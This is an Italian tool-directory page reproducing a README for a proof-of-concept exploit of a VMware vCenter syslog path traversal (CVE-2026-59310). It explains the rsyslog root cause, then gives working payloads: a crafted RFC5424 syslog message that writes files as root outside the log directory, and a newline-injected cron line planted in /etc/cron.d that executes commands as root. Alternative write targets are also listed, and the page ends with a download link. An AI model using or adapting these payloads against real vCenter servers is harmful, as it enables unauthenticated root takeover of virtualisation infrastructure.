Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-59310-POC — PoC ed exploit in Python per CVE-2026-59310, un path traversal nel syslog di VMware vCenter che porta a RCE root non autenticato tramite cron injection, con indicazioni per il rilevamento e la pulizia. | Kitploit
Strumenti/GitHubGitHub/chinaran0/cve-2026-59310-poc
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPenetration TestingRed TeamingRisposta agli IncidentiStrumento di Accesso RemotoSviluppo Payload
GitHub
552524 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
chinaran0/cve-2026-59310-poc

CVE-2026-59310-POC

PoC ed exploit in Python per CVE-2026-59310, un path traversal nel syslog di VMware vCenter che porta a RCE root non autenticato tramite cron injection, con indicazioni per il rilevamento e la pulizia.

Vedi Repository

CVE-2026-59310 — Path Traversal nella directory syslog di VMware vCenter che porta a RCE non autenticato

Disclaimer: questo progetto è destinato esclusivamente a test di sicurezza autorizzati, verifica di vulnerabilità e ricerca difensiva. Utilizzalo solo in ambienti per cui disponi di autorizzazione scritta esplicita. L'utente si assume ogni responsabilità per eventuali conseguenze derivanti da un uso improprio.


Indice

  • Panoramica della vulnerabilità
  • Versioni interessate
  • Causa della vulnerabilità
  • Catena di exploit
  • Ambiente e verifica di riproduzione
  • Riproduzione tramite script
  • Rilevamento e autodiagnosi
  • Raccomandazioni di remediation
  • Domande frequenti
  • Link di riferimento

Panoramica della vulnerabilità

VoceContenuto
Nome vulnerabilitàPath Traversal nella directory syslog di VMware vCenter
IdentificativoCVE-2026-59310
TipoPath Traversal → scrittura arbitraria di file → esecuzione di codice in remoto
CVSS 3.19.8 (Critical)
Prerequisiti di exploitÈ sufficiente che la porta syslog sia raggiungibile (UDP/TCP 514 predefinita), nessuna credenziale richiesta
ConseguenzeScrittura su percorso arbitrario ed esecuzione di codice arbitrario con privilegi root
Data di divulgazione2026-07-29
Sfruttamento in the wildRilevato
Avviso del fornitoreVMSA-2026-0006

Il servizio di ricezione syslog integrato in vCenter (rsyslog) utilizza un template di percorso dinamico per salvare i log; il template concatena direttamente i campi APP-NAME e HOSTNAME dell'header del messaggio nel percorso del file, senza alcuna sanificazione del percorso. Un attaccante può inviare un messaggio appositamente craftato alla porta syslog raggiungibile, facendo sì che il percorso di scrittura fuoriesca dalla directory di log prevista, e combinando poi con attività pianificate per ottenere l'esecuzione di codice arbitrario.

vCenter è il fulcro della gestione della virtualizzazione: una sua compromissione equivale alla perdita dell'intero ambiente vSphere / VCF.


Versioni interessate

Versioni interessate (precedenti alle seguenti versioni corrette)

BranchIntervallo interessatoVersione corretta
9.1< 9.1.0.03009.1.0.0300
9.0< 9.0.2.01009.0.2.0100 (Build 25629525)
8.0 U3< 8.0 U3k8.0 U3k
8.0 U2< 8.0 U2f8.0 U2f
8.0 versione iniziale / U1TutteAggiornare a 8.0 U3k o superiore seguendo i percorsi supportati
7.0Patch di supporto esteso corrispondente non installataContattare Broadcom per la patch, oppure migrare a una versione supportata

Interessa inoltre: vCenter distribuiti in modo autonomo, nonché i componenti vCenter interessati utilizzati in VMware Cloud Foundation, VMware vSphere Foundation e VMware Telco Cloud.

Ambiente verificato: VMware vCenter Server 9.0.2.0 / Build 25148086, precedente alla versione corretta 25629525, quindi effettivamente non corretta.


Causa della vulnerabilità

1. Il template di percorso dinamico concatena direttamente campi non attendibili

/etc/rsyslog.conf (configurazione predefinita di fabbrica VMware):

29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

%app-name% viene utilizzato contemporaneamente come nome di directory e nome di file, senza alcuna sanificazione del percorso.

2. Selettore troppo permissivo

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

È richiesta solo una corrispondenza di prefisso: un attaccante può usare rsyslog/... per soddisfare la regola ed entrare nel template di percorso dinamico.

3. Passaggio dei caratteri di nuova riga (chiave per la RCE)

24: $EscapeControlCharactersOnReceive off

I caratteri di nuova riga nel contenuto del messaggio vengono scritti su disco così come sono, consentendo all'attaccante di controllare la struttura delle righe del file scritto.

4. Punto di bypass principale: comportamento incoerente tra i parser RFC3164 e RFC5424

Questo è l'aspetto di questa vulnerabilità più facilmente sottovalutato.

  • RFC3164 (pmrfc3164): durante il parsing dell'hostname utilizza una whitelist di caratteri; / non è consentito per impostazione predefinita, quindi APP-NAME viene troncato in corrispondenza di / → nessun traversal possibile.
  • RFC5424 (pmrfc5424): APP-NAME è un campo indipendente separato da spazi, non soggetto a validazione tramite whitelist di caratteri; / e .. vengono preservati così come sono → traversal possibile.

Il server input(type="imudp" port="514") utilizza il ruleset predefinito e accetta anche messaggi RFC5424. All'attaccante è sufficiente formattare il messaggio in formato RFC5424 perché i caratteri di traversal raggiungano direttamente il percorso del file.

Confronto sperimentale (stesso payload rsyslog/../../../../tmp/x):

ParserValore effettivo di %app-name%
pmrfc3164rsyslog ← troncato in corrispondenza di /
pmrfc5424rsyslog/../../../../tmp/x ← preservato integralmente

Prova indiretta: un semplice .. viene creato come nome di directory letterale (ad esempio rsyslog..), il che dimostra che il livello omfile di rsyslog non esegue la normalizzazione di ..; ciò che determina realmente il successo è la capacità del parser di far arrivare / nel campo.


Catena di exploit

① Pacchetto UDP non autenticato  →  ② APP-NAME RFC5424 con traversal  →  ③ Fuoriuscita dalla directory di log con scrittura arbitraria (root)
                                                          ↓
                     ⑤ Esecuzione di codice come root  ←  ④ Impianto di attività pianificata in /etc/cron.d

Passaggi ①②③: scrittura arbitraria di file non autenticata (root)

<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

Sostituendo nel template:

Directory = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
File      = come sopra + "-syslog.log"                    →  /tmp/PWNED-syslog.log

Risultato: scrittura di /tmp/PWNED-syslog.log con proprietario root, creazione automatica delle directory padre mancanti, contenuto completamente controllabile.

Passaggi ④⑤: dalla scrittura di file alla RCE

Il nome del file scritto termina sempre con -syslog.log, quindi non è possibile sovrascrivere direttamente /etc/cron.d/xxx. Tuttavia, sfruttando il passaggio dei caratteri di nuova riga, è possibile iniettare una nuova riga nel MSG, facendo iniziare il contenuto controllabile dalla colonna 0 del file:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← cron segnala "bad minute", ignorata
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← eseguita come riga cron valida
#

crond la esegue con privilegi root, ottenendo:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

Percorsi alternativi di sfruttamento

  • Directory di risorse statiche VAMI: scrittura in /opt/vmware/share/htdocs/ (lighttpd in ascolto sulla 5480), quindi lettura tramite https://<target>:5480/..., in linea con la descrizione dell'avviso del fornitore.
  • /var/spool/cron/root: è possibile scrivere in questa directory, ma serve un file chiamato esattamente root, vincolo dovuto al suffisso -syslog.log, quindi /etc/cron.d/ è più diretto.

Scarica lo strumento